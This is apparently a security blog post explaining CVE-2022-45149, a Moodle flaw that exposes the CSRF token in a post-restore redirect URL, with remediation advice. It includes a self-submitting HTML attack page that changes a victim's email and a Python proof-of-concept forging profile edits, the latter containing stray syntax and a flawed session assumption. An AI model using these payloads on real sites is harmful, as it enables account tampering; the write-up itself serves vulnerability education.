In late 2022, a critical flaw surfaced in Moodle—one of the world’s most popular open-source learning management systems. Cataloged as CVE-2022-45149, this vulnerability exposes users to *cross-site request forgery* (CSRF) attacks due to the flawed handling of CSRF tokens during course redirection. Below, we’ll break down how this bug lives inside Moodle, how attackers can exploit it, and what this means for site admins and users.

Understanding the Flaw

Moodle uses CSRF tokens as a shield to make sure that important actions online are actually triggered by an authentic user, not an attacker. The problem here? Moodle’s logic stitched the CSRF token into the redirect URL after a user restores a course—putting that sensitive token up for grabs in the open.

When a user restores a course, Moodle redirects them to the course page. But instead of keeping the CSRF token secret, the token gets stuffed into the URL like this:

https://moodle.example.com/course/view.php?id=42&sesskey=123456789abcdef

Anyone who catches that URL—maybe through browser history, logs, or a malicious website—has the powerful sesskey right in front of them!

How Attackers Exploit CVE-2022-45149

Let’s imagine Sarah, an authenticated Moodle user, finished restoring a course. A remote attacker sends her a link pointing first to their own malicious site, then bounces her off to Moodle with the leaky redirect URL. The attacker crafts a page like so:

<!DOCTYPE html>
<html>
<body>
  <script>
    // Attacker's malicious script: Auto-submits a forged form to Moodle using the leaked sesskey
    function csrfAttack() {
      var form = document.createElement('form');
      form.method = 'POST';
      form.action = 'https://moodle.example.com/user/preferences.php?sesskey=123456789abcdef';; // Victim's exposed sesskey

      // Example: changing the victim's email
      var emailField = document.createElement('input');
      emailField.type = 'hidden';
      emailField.name = 'email';
      emailField.value = 'attacker@example.com';
      form.appendChild(emailField);

      document.body.appendChild(form);
      form.submit();
    }

    window.onload = csrfAttack;
  </script>
  <p>This page is loading. Please wait...</p>
</body>
</html>

Whenever Sarah lands on this malicious page (perhaps via phishing, or a link in a forum), her browser performs actions *on her behalf* on Moodle—like editing her profile, changing grades, or modifying site settings.

The catch? The attacker got her sesskey (CSRF token) from the redirect URL after course restore, which should never have leaked.

Proof-of-Concept Code

Here’s a more general, simple Python proof-of-concept. It assumes the attacker has the full redirect URL with the victim’s CSRF token:

import requests

# Exposed values from captured redirect
sesskey = "123456789abcdef"
course_url = f"https://moodle.example.com/course/view.php?id=42&sesskey={sesskey}";
csrf_target_url = f"https://moodle.example.com/user/preferences.php?sesskey={sesskey}";

# Attacker's desired payload - changing profile description
payload = {
    'description': 'CSRF exploit successful!',
    'id': 'victim_user_id'
}

# Send the forged request as if the victim submitted it
session = requests.Session()
session.get(course_url)  # Optional: simulate arriving via redirect
response = session.post(csrf_target_url, data=payload)

print("Exploit delivered, server replied:", response.status_code)

Note: This snippet is for *educational purposes only*—never use it on sites you do not own or have not been given clear, written permission to test.

Attack Impact

- Arbitrary Actions: Attacker can make the victim perform *any* action they're authorized for (edit profile, post content, change settings).
- Account Takeover: If chained with other vulnerabilities, the attacker might control the whole account.
- Sensitive Data Leak: Because the CSRF token is in the URL, it may end up in browser history, logs, or even sent to third-party servers via the Referer header.

Fix & Recommendations

Moodle fixed this issue in their security update. CSRF tokens (sesskey) should *never* be included in URLs—only in HTTP POST data or within cookies.

- Upgrade Moodle: Update to the latest stable branch as soon as possible.

Check Application Logic: Review third-party plugins for similar mistakes.

Official fix and patches can be found in the Moodle security advisories.

References

- Moodle Security Advisory: MSA-22-0054
- National Vulnerability Database: CVE-2022-45149
- OWASP: Cross-Site Request Forgery (CSRF)

Conclusion

CVE-2022-45149 is a classic cautionary tale: even mature software like Moodle can slip up by exposing secret tokens in URLs. Site admins should *immediately* update affected systems and audit for other instances where sensitive data could leak via redirects or logs.

Have you patched your Moodle? Take action today—before your staff or students are taken for a ride.


*Written exclusively for your security education. Stay sharp, stay secure!*

Timeline

Published on: 11/23/2022 15:15:00 UTC
Last modified on: 01/31/2023 20:16:00 UTC